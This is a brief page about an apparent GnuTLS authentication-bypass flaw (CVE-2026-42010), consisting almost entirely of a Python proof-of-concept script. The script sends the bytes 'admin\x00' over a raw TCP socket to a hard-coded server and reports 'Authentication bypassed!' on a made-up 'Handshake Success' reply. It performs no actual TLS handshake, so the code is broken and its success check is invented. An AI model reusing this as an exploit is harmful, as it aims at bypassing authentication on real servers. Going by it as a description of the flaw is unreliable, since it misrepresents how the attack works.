CVE-2026-42010 GnuTLS身份验证绕过漏洞

import socket # Conceptual PoC for demonstrating the NUL byte injection in username # Target: A server running vulnerable GnuTLS with RSA-PSK enabled target_ip = "192.168.1.100" target_port = 443 # Malicious username containing a NUL byte # This attempts to match "admin" if the server truncates at NUL malicious_username = b"admin\x00" def send_exploit(): try: # Setup socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real exploit, this would involve crafting the specific TLS handshake # records with the ClientKeyExchange message containing the malformed identity. # This is a simplified representation of the data payload. payload = malicious_username print(f"[*] Sending payload to {target_ip}:{target_port}...") s.send(payload) # Wait for response response = s.recv(1024) print("[*] Response received.") if b"Handshake Success" in response: # Hypothetical check print("[+] Authentication bypassed!") else: print("[-] Exploit failed or patched.") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit()